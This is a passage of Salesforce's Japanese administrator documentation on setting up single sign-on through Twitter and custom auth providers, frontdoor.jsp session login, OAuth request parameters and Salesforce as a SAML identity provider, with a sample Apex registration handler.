5. シングルサインオン (SSO) 接続をテストします。

Twitter アプリケーションの設定
Salesforce 組織で Twitter を設定する前に、Twitter でアプリケーションを設定しま
す。

メモ: Salesforceに独自のデフォルトアプリケーションの使用を許可すると、
この手順を省略できます。詳細は、「認証プロバイダの設定ページでの
Salesforce 管理値の使用」を参照してください。

1. Twitter Web サイトの開発者アカウントにサインインします。
2. 上部のユーザアイコンをクリックし、[私のアプリケーション] を選択します

(または apps.twitter.com にアクセスします)。
3. [新しいアプリケーションを作成] をクリックします。
4. アプリケーション設定を入力します。
5. API キーで API キーと API の秘密をメモします。これは、後で Twitter プロバイダを Salesforce組織で作成するた

めに必要となります。

Salesforce 組織での Twitter プロバイダの定義
Salesforce 組織で Twitter プロバイダを設定するには、Twitter アプリケーションの Twitter API キーと API の秘密が必
要です。
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メモ: Salesforceに値の管理を許可すると、認証プロバイダ設定ページの主要な値の指定を省略できます。
詳細は、「認証プロバイダの設定ページでの Salesforce 管理値の使用」を参照してください。

1. [設定] から、[クイック検索] ボックスに「認証プロバイダ」と入力し、[認証プロバイダ] を選択します。
2. [新規] をクリックします。
3. プロバイダタイプに Twitter を選択します。
4. プロバイダの名前を入力します。
5. クライアント設定 URL に使用する URL サフィックスを入力します。たとえば、プロバイダの URL サフィック

スが MyTwitterProvider である場合、SSO URL は次のようになります。
https://login.salesforce.com/services/sso/00Dx00000000001/MyTwitterProvider

6. [コンシューマ鍵] 項目には、Twitter の API キーを使用します。
7. [コンシューマの秘密] 項目には、Twitter の API の秘密を使用します。
8. 必要に応じて、次の項目を設定します。

a. エラーのレポートに使用するプロバイダの [カスタムエラー URL]。
b. ユーザが SSO フローを使用して認証された場合に、ログアウト後の特定の移動先を指定する [カスタム

ログアウト URL]。この項目を使用して、ユーザをブランド設定されたログアウトページか、またはデ
フォルトのSalesforceログアウトページ以外の場所のいずれかに移動します。URL は、httpまたは https

プレフィックスで完全修飾する必要があります (https://acme.my.salesforce.com など)。
c. 既存のApexクラスを Registration Handlerクラスとして選択します。または、登録ハンドラのApex

クラステンプレートを作成するには、[登録ハンドラテンプレートを自動作成]をクリックします。この
クラスを後で編集してデフォルトのコンテンツを変更してから使用します。

メモ: Registration Handler クラスは、Salesforceで SSO 初期化 URL を生成するために必要となり
ます。

d. [他のアカウントで登録を実行]で、Apexハンドラクラスを実行するユーザを選択します。このユーザは
「ユーザの管理」権限を持っている必要があります。既存の登録ハンドラクラスを指定しているか、テ
ンプレートから登録ハンドラクラスを作成しているかに関係なく、ユーザが要です。

e. Twitter ユーザにポータルを使用するには、[ポータル] ドロップダウンリストからポータルを選択します。
f. [アイコン URL] 項目を使用して、コミュニティのログインページのボタンとして表示するアイコンの

パスを追加します。このアイコンはコミュニティにのみ適用されます。Salesforce 組織または [私のドメ
イン] で作成したドメインのログインページには表示されません。ユーザは、このボタンをクリックし、
コミュニティに関連付けられた認証プロバイダを使用してログインします。
独自の画像へのパスを指定するか、いずれかのサンプルアイコンの URL を項目にコピーしてください。

9. [保存] をクリックします。
認証プロバイダを定義した後、複数のクライアント設定 URL が生成されます。
• テスト専用初期化 URL: システム管理者は、この URL を使用して、サードパーティプロバイダが正しく設定

されていることを確認します。システム管理者がブラウザでこの URL を開き、サードパーティにサインイ
ンすると、属性の対応付けにより Salesforce にリダイレクトされます。
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• シングルサインオン初期化 URL: この URL を使用して、サードパーティから Salesforce への SSO を実行します
(サードパーティのログイン情報を使用します)。ユーザは、ブラウザでこの URL を開いて、サードパーティ
にサインインします。このサードパーティは、ユーザを作成するか既存のユーザを更新します。次にサー
ドパーティは、ユーザを Salesforce にそのユーザとしてサインインします。

• 既存ユーザをリンクする URL: この URL を使用して、既存の Salesforce ユーザをサードパーティアカウントに
リンクします。このユーザはブラウザでこの URL を開いてサードパーティにサインインし、Salesforce にサ
インインしてリンクを承認します。

• コールバック URL: 認証プロバイダが設定のためにコールバックするエンドポイントに、コールバック URL

を使用します。認証プロバイダは、各クライアント設定 URL の情報と共に、コールバック URL にリダイレ
クトする必要があります。

クライアント設定 URL では、ユーザの特定サイトへのログイン、サードパーティからのカスタマイズされた権
限の取得、認証後の特定の場所への移動を行うための、追加の要求パラメータをサポートしています。

登録ハンドラの編集
1. [設定] から、[クイック検索] ボックスに「Apex クラス」と入力し、[Apex クラス] を選択します。
2. 自動作成されたApex登録ハンドラ (または既存の登録ハンドラ (存在する場合)) を編集して、Twitter とSalesforce

間で項目を対応付けます。
次に、Twitter アプリケーションを認証プロバイダとして指定する Apex 登録ハンドラの例を示します。
global class MyTwitterRegHandler implements Auth.RegistrationHandler{

global User createUser(Id portalId, Auth.UserData data)
{

if(data.attributeMap.containsKey('sfdc_networkid'))
{

// Create communities user
Account a = [SELECT Id FROM account WHERE name='Twitter Account']; // Make sure

this account exists

Contact c = new Contact();
c.accountId = a.Id;
c.email = 'temp@CHANGE-ME.com';
c.firstName = data.fullname.split(' ')[0];
c.lastName = data.fullname.split(' ')[1];
insert(c);

User u = new User();
Profile p = [SELECT Id FROM profile WHERE name='Customer Portal Manager'];
u.username = data.username + '@sfdc-portal-twitter.com';
u.email = 'temp@CHANGE-ME.com';
u.firstName = data.fullname.split(' ')[0];
u.lastName = data.fullname.split(' ')[1];
String alias = data.fullname;

//Alias must be 8 characters or less
if(alias.length() > 8) {

alias = alias.substring(0, 8);
}
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u.alias = alias;
u.languagelocalekey = 'en_US';
u.localesidkey = 'en_US';
u.emailEncodingKey = 'UTF-8';
u.timeZoneSidKey = 'America/Los_Angeles';
u.profileId = p.Id;
u.contactId = c.Id;
return u;

} else {
// Create Standard SFDC user
User u = new User();
Profile p = [SELECT Id FROM profile WHERE name='Standard User'];
u.username = data.username + '@sfdc-twitter.com';
u.email = 'temp@CHANGE-ME.com';
u.firstName = data.fullname.split(' ')[0];
u.lastName = data.fullname.split(' ')[1];
String alias = data.fullname;
if(alias.length() > 8)

alias = alias.substring(0, 8);

u.alias = alias;
u.languagelocalekey = 'en_US';
u.localesidkey = 'en_US';
u.emailEncodingKey = 'UTF-8';
u.timeZoneSidKey = 'America/Los_Angeles';
u.profileId = p.Id;
return u;

}
}

global void updateUser(Id userId, Id portalId, Auth.UserData data)
{

User u = new User(id=userId);
u.firstName = data.fullname.split(' ')[0];
u.lastName = data.fullname.split(' ')[1];
String alias = data.fullname;
if(alias.length() > 8)

alias = alias.substring(0, 8);

u.alias = alias;
update(u);

}
}

詳細および例については、「RegistrationHandler」を参照してください。

Twitter アプリケーションの更新
Twitter 認証プロバイダを Salesforce 組織に定義したら、Twitter に戻り、Salesforce で生成されたコールバック URL

を Twitter アプリケーション設定のコールバック URL 値として使用するようにアプリケーションを更新します。

メモ:  Twitter アプリケーションで、必ず [Twitter でサインインしてこのアプリケーションを使用すること
を許可] を選択します。
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SSO 接続のテスト
ブラウザの認証プロバイダの詳細ページでテスト専用初期化 URL を開きます。ユーザは Twitter にリダイレクト
され、サインインするよう求められます。サインイン時に、アプリケーションを認証するよう求められます。
認証後、ユーザは Salesforce にリダイレクトされます。

認証プロバイダの設定ページでの Salesforce 管理値の使用

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

Facebook、Salesforce、LinkedIn、Twitter、Google 認証プロバイダを設定するときに、
Salesforceによるキー値の自動作成を選択できます。Salesforceによりキー値が生成
されることで、独自のサードパーティアプリケーションを作成する時間と労力
を節約できます。
Salesforce 管理値を使用するには、次の項目 (認証プロバイダ設定ページに表示さ
れる場合) を空白のままにします。
• コンシューマキー
• コンシューマの秘密
• 承認エンドポイント URL

• トークンエンドポイント URL

• ユーザ情報エンドポイント URL

• デフォルトの範囲
上記の項目に値を指定するということは、独自の接続アプリケーションを使用
しているということです。この場合、コンシューマ鍵とコンシューマの秘密に
値を指定する必要があります。

例: LinkedIn 認証プロバイダを使用してシングルサインオン (SSO) を設定し、
LinkedIn ログイン情報によるSalesforceへのログインを可能にするとします。
認証プロバイダ設定ページでSalesforce作成値を使用する場合は、LinkedIn ア
プリケーションの作成をスキップできます。次に、組織の LinkedIn 認証プロ
バイダを定義し、「LinkedIn 認証プロバイダの設定」の手順に従って接続を
テストします。

カスタム外部認証プロバイダの作成

エディション

使用可能なエディション:
[Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、および
[Developer] Edition

カスタムシングルサインオン (SSO) 認証プロバイダを作成し、ユーザが Salesforce

以外のログイン情報を使用して Salesforce 組織にログインできるようにします。
OAuth アプリケーションで OpenID Connect がサポートされない場合は、カスタム
の外部認証プロバイダを実装します。アプリケーションで OpenID Connect がサ
ポートされる場合は、Salesforce が提供する、いずれかの認証プロバイダを使用
できます。
1. 選択した認証プロバイダのアカウントを設定します。
2. カスタムメタデータ型を作成して、システム管理者が設定時に入力するカス

タム項目を選択します。

1117

シングルサインオンSalesforce 組織の設定および管理



3. 選択したメタデータ型の一致する Apex クラスとメソッドを作成し、これらのクラスを使用して
Auth.AuthProviderPlugin インターフェースを実装します。

4. 認証プロバイダの設定ページで新しいメタデータを設定します。
5. Salesforce で生成されたコールバック URL を使用するようにアプリケーションを更新します。
6. 接続をテストします。

アカウントの設定
Salesforce組織に外部認証プロバイダプラグインを設定する前に、選択した外部認証プロバイダのアカウントを
設定する必要があります。
1. 認証プロバイダのサイトに移動して、アプリケーションを作成します。
2. アプリケーション設定を変更し、アプリケーションドメインを Salesforce に設定します。
3. 外部認証プロバイダでアプリケーション ID とアプリケーションの秘密が必要な場合は、これらの情報をメ

モします。

カスタムメタデータ型の作成
アカウントを取得したら、外部認証プロバイダで必要なSalesforce組織のカスタムメタデータ型を作成します。
1. [設定] から、[クイック検索] ボックスに「メタデータ」と入力し、[カスタムメタデータ型]を選択します。
2. [新規カスタムメタデータ型] をクリックします。
3. カスタムメタデータの表示ラベル名と複数の表示ラベル名を入力して、[保存] をクリックします。
4. [カスタム項目] セクションで、[新規]をクリックし、認証プロバイダに必要なカスタム項目を選択します。

たとえば、認証プロバイダでアプリケーション ID またはアプリケーションの秘密が必要な場合は、「コン
シューマ鍵」や「コンシューマの秘密」というような表示ラベルの項目を作成します。

メモ: 各項目種別に、表示ラベル、説明、ヘルプテキストなどの詳細を入力するプロンプトが表示されま
す。これらは必須項目にすることができます。

Apex クラスおよびメソッドの作成
SSO のカスタム認証プロバイダを作成するには、Auth.AuthProviderPluginインターフェースを実装するク
ラスを作成します。このインターフェースでは、認証プロバイダのカスタム設定を保存することや、その認証
プロトコルを処理することができます。さらに、外部認証プロバイダの名前が作成され、使用可能な認証プロ
バイダのリストにこの名前が表示されます。
1. [設定] から、検索項目に「apex クラス」と入力し、[Apex クラス] を選択します。
2. [新規] をクリックします。
3. 表示された項目で、Apex クラスおよびメソッドを作成します。

a. Auth.AuthProviderPlugin インターフェースを実装します。
b. getCustomMetadataType メソッドの return 文字列に、新しく作成したカスタムメタデータにリス

トされている API 参照名を入力します。
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メモ: プラグインで必要となるクラスおよびメッソドについての詳細は、『Force.com Apex コード開発者ガ
イド』の「Auth 名前空間」セクションを参照してください。

認証プロバイダの設定
Salesforce組織でカスタムプロバイダを設定するには、認証プロバイダのアプリケーション ID とアプリケーショ
ンの秘密が必要です。
1. [設定] から、[クイック検索] ボックスに「認証プロバイダ」と入力し、[認証プロバイダ] を選択します。
2. [新規] をクリックします。
3. プロバイダタイプには、カスタム認証プロバイダを選択します。
4. プロバイダの名前を入力します。
5. クライアント設定 URL に使用する URL サフィックスを入力します。たとえば、プロバイダの URL が

「MyAwesomeProvider」の場合、SSO の URL は、
https://login.salesforce.com/auth/sso/00Dx00000000001/MyAwesomeProvider のようになり
ます。

6. 作成したカスタム項目に情報を入力します。
7. 既存のApexクラスを Registration Handlerクラスとして選択します。または、登録ハンドラのApexク

ラステンプレートを作成するには、[登録ハンドラテンプレートを自動作成] をクリックします。このクラ
スを後で編集してデフォルトのコンテンツを変更してから使用します。

メモ: Registration Handler クラスは、Salesforce で SSO 初期化 URL を生成するために必要となりま
す。

8. [他のアカウントで登録を実行] で、Apex ハンドラクラスを実行するユーザを選択します。このユーザは
「ユーザの管理」権限を持っている必要があります。既存の登録ハンドラクラスを指定しているか、テン
プレートから登録ハンドラクラスを作成しているかに関係なく、ユーザが要です。この項目はすべてのカ
スタム認証プロバイダで必須です。

9. [アイコン URL]項目を使用して、コミュニティのログインページのボタンとして表示するアイコンのパス
を追加します。このアイコンはコミュニティにのみ適用されます。Salesforce 組織または [私のドメイン] で
作成したドメインのログインページには表示されません。ユーザは、このボタンをクリックし、コミュニ
ティに関連付けられた認証プロバイダを使用してログインします。
独自の画像へのパスを指定するか、いずれかのサンプルアイコンの URL を項目にコピーしてください。

10. [保存] をクリックします。
生成された認証プロバイダ ID をメモします。この値を Auth.AuthToken Apex クラスと共に使用します。
認証プロバイダを定義した後、複数のクライアント設定 URL が生成されます。
• テスト専用初期化 URL: サードパーティプロバイダが正しく設定されていることを確認するために使用しま

す。システム管理者がブラウザでこの URL を開き、サードパーティにサインインすると、属性の対応付け
により Salesforce にリダイレクトされます。

• シングルサインオン初期化 URL: サードパーティから Salesforceへの SSO を初期化するために使用します (サー
ドパーティのログイン情報を使用します)。ユーザは、ブラウザでこの URL を開いて、サードパーティにサ
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インインします。このサードパーティは、ユーザを作成するか既存のユーザを更新します。次にサードパー
ティは、ユーザを Salesforce にそのユーザとしてサインインします。

• 既存ユーザをリンクする URL: 既存の Salesforce ユーザをサードパーティアカウントにリンクするために使用
します。このユーザはブラウザでこの URL を開いてサードパーティにサインインし、Salesforce にサインイ
ンしてリンクを承認します。

• OAuth 専用初期化 URL: サードパーティの OAuth アクセストークンを取得するために使用します。サードパー
ティサービスがトークンを取得するには、ユーザがSalesforceで認証する必要があります。このフローでは、
以降の SSO 機能は提供されません。

• コールバック URL: 認証プロバイダが設定のためにコールバックするエンドポイントとして使用します。認
証プロバイダは、各クライアント設定 URL の情報と共に、コールバック URL にリダイレクトします。

クライアント設定 URL では、ユーザの特定サイトへのログイン、サードパーティからのカスタマイズされた権
限の取得、認証後の場所への移動を行うための、他の要求パラメータをサポートしています。

外部認証プロバイダの更新
Salesforce組織で認証プロバイダを定義したら、外部認証プロバイダのサイトに戻り、コールバック URL をカス
タム認証プロバイダの Web サイト URL として使用するようにアプリケーションを更新します。

SSO 接続のテスト
ブラウザの認証プロバイダ設定ページでテスト専用初期化 URL を開きます。プロバイダのサイトにリダイレク
トされ、サインインするよう求められます。サインイン時に、アプリケーションを認証するよう求められま
す。認証後、ユーザは再び Salesforce にリダイレクトされます。

関連トピック:

認証設定エンドポイント

Frontdoor.jsp を使用した Salesforce へのログイン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

frontdoor.jsp を使用すると、リモートアクセスの Force.com サイトなど、カスタム
の Web インターフェースから、既存のセッション ID とサーバ URL を使用して
Salesforce にアクセスする権限をユーザに付与できます。
frontdoor.jsp を使用してユーザを認証するには、SOAP API login() コールから返され
た LoginResult の serverUrl からセッション ID (15 文字または 18 文字の ID のみではな
い) とインスタンスまたはドメインを解析する必要があります。これらの値を
POST要求を使用するフォームを介して frontdoor.jsp に渡すことをお勧めします。
たとえば、次のフォームは現在のセッション ID を frontdoor.jsp に投稿します。
<form method="POST" action="https://domain name/secur/frontdoor.jsp">
<input type="hidden" name="sid"

value="full_sessionID_value"
/>

<input type="submit" name="login" value="Log In" /></form>
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この例では、domain_name は serverURL のドメインです (つまり、[私のドメイン] が有効になっているかどうか
に応じて、yourInstance.salesforce.com または myDomain.my.salesforce.com です)。
値を URL パラメータとして送信することもできますが、この方法ではセッション ID が URL に公開されるため、
POST 要求ほど安全ではありません。
https://domain_name/secur/frontdoor.jsp?sid=full_sessionID_value
&retURL=optional_relative_url_to_open

完全なセッション ID

完全なセッション ID は次から取得できます。
• OAuth 認証の access_token

ヒント: 接続アプリケーションの作成時に指定した範囲の 1 つが、web または full でなければなりませ
ん。

• Apex UserInfo.getSessionId()

frontdoor.jsp では、Visualforce {!GETSESSIONID()} を使用して返されるセッション ID は使用できません。

メモ:  frontdoor.jsp では、一部のセッション種別 (コミュニティ API セッションなど) はサポートされていま
せん。これらのセッションの場合、代わりにシングルサインオン用の SAML を使用することを検討してく
ださい。

サイトを開くための相対 URL

ユーザをSalesforceユーザインターフェース、または特定のレコード、オブジェクト、レポート、Visualforceペー
ジ (/apex/MyVisualforcePage など) にリダイレクトするために、必要に応じて URL にエンコードされた相
対パスを含めることができます。

1121

シングルサインオンSalesforce 組織の設定および管理



要求パラメータとクライアント設定 URL の使用

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

要求パラメータを使用して、認証プロバイダに機能を追加します。たとえば、
ユーザの特定サイトへのログイン、サードパーティからのカスタマイズされた
権限の取得、認証後の特定の場所への移動を行うために、要求パラメータを使
用します。
要求パラメータをクライアント設定 URL に追加します。これらのパラメータは、
認証プロバイダの定義後に生成されます。
• テスト専用初期化 URL

• シングルサインオン初期化 URL

• 既存ユーザをリンクする URL

• コールバック URL

必要に応じて、これらのパラメータを URL に追加します。Janrain プロバイダの場
合は、該当するコールバック URL に追加します。
• Scope — サードパーティから要求された権限をカスタマイズする。
• Site — プロバイダをサイトで使用可能にする。
• StartURL — 認証後にユーザを指定された場所に送信する。
• Community — 認証後にユーザを特定のコミュニティに送信する。
• 認証エンドポイント (ページ1127) — ユーザを認証のために特定の認証エンド

ポイントに送信する (Salesforce 認証プロバイダのみ)。

Scope パラメータの使用
返されたアクセストークンが追加権限を持つように、Facebook や Janrain など
のサードパーティから要求された権限をカスタマイズします。
Site パラメータの使用
認証プロバイダを使用して、サイトにログインしたり、サイトユーザにリンクしたりします。
StartURL パラメータの使用
認証後またはリンク後に、ユーザを特定の場所に送信します。
コミュニティ URL パラメータの使用
認証後に、ユーザを特定のコミュニティに送信します。
認証エンドポイントパラメータの使用
ユーザを特定の認証エンドポイントに送信します。
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Scope パラメータの使用

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

返されたアクセストークンが追加権限を持つように、Facebook や Janrain などの
サードパーティから要求された権限をカスタマイズします。
サードパーティへの要求をカスタマイズして、追加権限を持つアクセストーク
ンを受け取ることができます。その後、Auth.AuthToken メソッドを使用し
て、付与されたアクセストークンを取得し、これらの権限をサードパーティで
使用することができます。
デフォルトの範囲はサードパーティによって異なりますが、一般に、基本的な
ユーザ情報を超える情報へのアクセスは許可されません。各プロバイダタイプ
(Open ID Connect、Facebook、Salesforce など) には、要求と共に認証エンドポイント
に送信するデフォルトの範囲のセットがあります。たとえば、Salesforceのデフォ
ルトの範囲は id です。
範囲は、スペースで区切られた文字列で送信できます。要求された範囲の空白
で区切られた文字列がそのままでサードパーティに送信され、認証プロバイダ
によって要求されたデフォルトの権限を上書きします。
Janrain ではこのパラメータを使用しないため、Janrain 内で追加の権限を設定する
必要があります。

例: 次に、[シングルサインオン初期化 URL] に追加される、Salesforce の範
囲 apiおよびwebを要求する scopeパラメータの例を示します。ここで、
• orgID は、認証プロバイダ ID です。
• URLsuffix は、認証プロバイダを定義したときに指定した値です。
https://login.salesforce.com/services/auth/sso/orgID/URLsuffix?scope=id%20api%20web

有効な範囲はサードパーティによって異なるため、個々のサードパーティのドキュメントを参照してくださ
い。たとえば、Salesforce の範囲は次のようになります。

説明値

REST API や Bulk API などの API を使用して、現在のログインユーザのアカウントへ
のアクセスを許可します。この値には、Chatter REST APIリソースへのアクセスを許
可する chatter_api も含まれます。

api

Chatter REST API リソースへのアクセスのみを許可します。chatter_api

接続アプリケーションに関連付けられている組織のカスタム権限へのアクセスを
許可し、現在のユーザで各権限が有効かどうかを示します。

custom_permissions

ログインユーザがアクセスできるすべてのデータへのアクセスを許可し、その他
すべての範囲が対象となります。full は更新トークンを返しません。更新トー

full

クンを取得するには、refresh_token の範囲を明示的に要求する必要がありま
す。

ID URL サービスへのアクセスを許可します。profile、email、address、phone

を要求すれば、id を使用した場合と同じ結果を個別に得られます。これらの結
果はすべて一致します。

id
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説明値

OpenID Connect アプリケーションの現在のログインユーザの一意の識別子へのア
クセスを許可します。
アクセストークンの他にも、「OpenID Connect の仕様」に従って、OAuth 2.0 ユーザ
エージェントフローおよび OAuth 2.0 Web サーバ認証フローで openid 範囲を使用
して、署名付き ID トークンを再度取得できます。

openid

更新トークンを受信できる場合に、それを返すように指定します。これにより、
ユーザがオフラインのときにアプリケーションがユーザのデータを操作できま
す。これは、offline_access を要求した場合と同じ意味になります。

refresh_token

Visualforce ページへのアクセスを許可します。visualforce

Web で access_token を使用することを許可します。これには visualforce

も含まれ、Visualforce ページへのアクセスが許可されます。
web

関連トピック:

要求パラメータとクライアント設定 URL の使用

Site パラメータの使用

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

認証プロバイダを使用して、サイトにログインしたり、サイトユーザにリンク
したりします。
プロバイダをサイトで使用するには、次を実行する必要があります。
• プロバイダをサイトで使用可能にする
• サイトが同じポータルを使用するように設定されていることを確認する
• site パラメータを使って、[シングルサインオン初期化 URL] などのサイト

固有のログイン URL 情報を適切なクライアント設定 URL に追加する

例: サイトの作成時に、サイトのログイン Visualforce ページを作成するか、
デフォルトのページを指定します。サイトのログイン URL の例は、
https%3A%2F%2Fmysite.force.com%2FSiteLoginのようになります。
site パラメータを使用して [シングルサインオン初期化 URL] に追加され
るサイトログイン URL の例を次に示します。ここで、
• orgID は、認証プロバイダ ID です。
• URLsuffix は、認証プロバイダを定義したときに指定した値です。
https://login.salesforce.com/services/auth/sso/orgID/URLsuffix?site=https%3A%2F%2Fmysite.force.com%2FSiteLogin
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site パラメータを指定しない場合、ユーザは標準ポータル (ポータルに設定されている場合) または標準アプ
リケーション (そうでない場合) に進みます。

関連トピック:

要求パラメータとクライアント設定 URL の使用

StartURL パラメータの使用

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

認証後またはリンク後に、ユーザを特定の場所に送信します。
認証後にユーザを特定の場所に転送するには、startURL要求パラメータで URL

を指定する必要があります。この URL は相対 URL である必要があります。絶対
URL を渡すと、エラーになります。startURLを追加しない場合、ユーザは認証
完了後に /home/home.jsp  (ポータルまたは標準アプリケーションの場合) また
はデフォルトのサイトページ (サイトの場合) に送信されます。

例: たとえば、[シングルサインオン初期化 URL] では、ユーザはログイン
後にこの場所に送信されます。[既存ユーザをリンクする URL] では、確認
ページの [Salesforce に進む] リンクによってこのページに送信されます。
次に、[シングルサインオン初期化 URL]に追加される startURLパラメー
タの例を示します。ここで、
• orgID は、認証プロバイダ ID です。
• URLsuffix は、認証プロバイダを定義したときに指定した値です。
https://login.salesforce.com/services/auth/sso/orgID/URLsuffix?startURL=%2F005x00000000001%3Fnoredirect%3D1

関連トピック:

要求パラメータとクライアント設定 URL の使用
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コミュニティ URL パラメータの使用

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

認証後に、ユーザを特定のコミュニティに送信します。
認証後にユーザを特定のコミュニティに転送するには、community 要求パラ
メータで URL を指定する必要があります。パラメータを追加しない場合、ユー
ザは認証完了後に /home/home.jsp  (ポータルまたは標準アプリケーションの
場合) またはデフォルトのサイトページ (サイトの場合) に送信されます。

例: たとえば、[シングルサインオン初期化 URL] では、ユーザはログイン
後にこの場所に送信されます。[既存ユーザをリンクする URL] では、確認
ページの [Salesforce に進む] リンクによってこのページに送信されます。
次に、[シングルサインオン初期化 URL]に追加される communityパラメー
タの例を示します。ここで、
• orgID は、認証プロバイダ ID です。
• URLsuffix は、認証プロバイダを定義したときに指定した値です。
https://login.salesforce.com/services/auth/sso/orgID/URLsuffix?community=https://acme.force.com/support
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認証エンドポイントパラメータの使用

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「認証プロバイダの管
理」

ユーザを特定の認証エンドポイントに送信します。
provAuthorizeEndpointHost パラメータを Salesforce認証プロバイダ URL に追
加して、指定したドメイン ([私のドメイン] を使用して作成したカスタムドメイ
ンなど) の認証エンドポイントにユーザを転送できます。認証エンドポイントに
より、認証中にセッション検出などの機能を利用できます。このパラメータは、
Salesforce認証プロバイダでのみ使用できます。このパラメータを使用してSalesforce

ドメイン外の認証ページにユーザを送信することはできません。
ユーザを特定の Salesforce 認証エンドポイントに転送するには、
provAuthorizeEndpointHost 要求パラメータおよび有効な https ホストで
URL を指定する必要があります。ホスト URL に追加されたクエリ文字列は無視さ
れます。ただし、コミュニティパスは指定できます。

例: 次に、認証プロバイダ URL に追加される provAuthorizeEndpointHost

パラメータの例を示します。
• orgID は、認証プロバイダ ID です。
• URLsuffix は、認証プロバイダを定義したときに指定した値です。

https://login.salesforce.com/services/auth/sso/orgID/

URLsuffix?provAuthorizeEndpointHost=https%3A%2F%2Fmydomain.my.salesforce.com

次に、コミュニティ URL に転送される provAuthorizeEndpointHost の
例を示します。
https://login.salesforce.com/services/auth/sso/orgID/
URLsuffix?provAuthorizeEndpointHost=https%3A%2F%2Fmycommunity.force.com%2Fbilling

認証エンドポイントが提供されていない場合、Salesforceでは、認証プロバイダのデフォルトの認証エンドポイ
ントが使用されます。認証プロバイダにデフォルトが設定されていない場合、Salesforce では login.salesforce.com

のエンドポイントが使用されます。
認証エンドポイントでトークンエンドポイントは変更されません。トークンエンドポイントは、引き続き設定
されるか、デフォルトのホストのままになります。たとえば、認証エンドポイントがSandboxインスタンスで、
プロバイダが本番トークンエンドポイントを使用するように設定されている場合、Sandbox インスタンスでの
み認証が行われるため、フローは失敗します。
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ID プロバイダとサービスプロバイダ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

ID プロバイダとサービス
プロバイダを定義および
変更する
• 「アプリケーションの

カスタマイズ」

ID プロバイダは、ユーザがシングルサインオンを使用して他の Web サイトにア
クセスできるようにする信頼済みプロバイダです。サービスプロバイダは、ア
プリケーションをホストする Web サイトです。Salesforce を ID プロバイダとして
有効化し、1 つ以上のサービスプロバイダを定義できます。これにより、ユーザ
はシングルサインオンを使用して、Salesforce から他のアプリケーションに直接
アクセスできるようになります。シングルサインオンを使用すると、いくつも
のパスワードを覚える必要がなく、1 つだけ覚えておけばよいため、ユーザは非
常に助かります。さらに、アプリケーションをタブとして Salesforce 組織に追加
できるため、ユーザはプログラムを切り替える必要がなくなります。
Salesforce を ID プロバイダとして有効化する前に、ドメインを設定する必要があ
ります。
Salesforce を ID プロバイダとして有効化するには、外部の認証機関 (CA) によって
署名されたか自己署名した Salesforce 証明書と鍵のペアが必要です。Salesforce 証
明書と鍵のペアを生成していない場合、Salesforce を ID プロバイダとして有効化
すると、ユーザ用に証明書と鍵のペアが自動的に作成されます。すでに生成済
みの証明書を使用したり、自分自身で作成することもできます。
Salesforceは、シングルサインオンには SAML 2.0 標準を使用し、ID プロバイダとし
て設定されると SAML アサーションを生成します。
サービスプロバイダのアプリケーションにログインしようとしたユーザがエラー
になる場合は、ID プロバイダイベントログを使用します。

ID プロバイダとサービスプロバイダの使用
Salesforce では、次の機能をサポートします。
• ID プロバイダ開始によるログイン — エンドユーザによる起動時に Salesforceがサービスプロバイダにログイ

ンする場合
• サービスプロバイダの起動によるログイン — エンドユーザによる起動時にサービスプロバイダが Salesforce

にユーザの認証を要求する場合
Salesforceが ID プロバイダとしてサービスプロバイダにログインする場合の、一般的な流れは次のとおりです。
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1. ユーザが、Salesforce ですでに定義されているサービスプロバイダにアクセスを試みます。
2. Salesforce からサービスプロバイダに SAML レスポンスを送信します。
3. サービスプロバイダがユーザを識別し、証明書を認証します。
4. ユーザが識別されると、サービスプロバイダにログインします。
サービスプロバイダがログインを開始し、Salesforceを使用してユーザを識別する場合の一般的な流れは次のと
おりです。
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1. サービスプロバイダから、有効な SAML 要求を送信します。サービスプロバイダが定義されている場合
([SP-init の投稿エンドポイント])、エンドポイントが自動的に生成されます。

2. Salesforce が SAML 要求に含まれているユーザを識別します。
<samlp:AuthnRequest ID="bndkmeemcaamihajeloilkagfdliilbhjjnmlmfo" Version="2.0"

IssueInstant="2010-05-24T22:57:19Z"
ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
ProviderName="google.com" IsPassive="false"
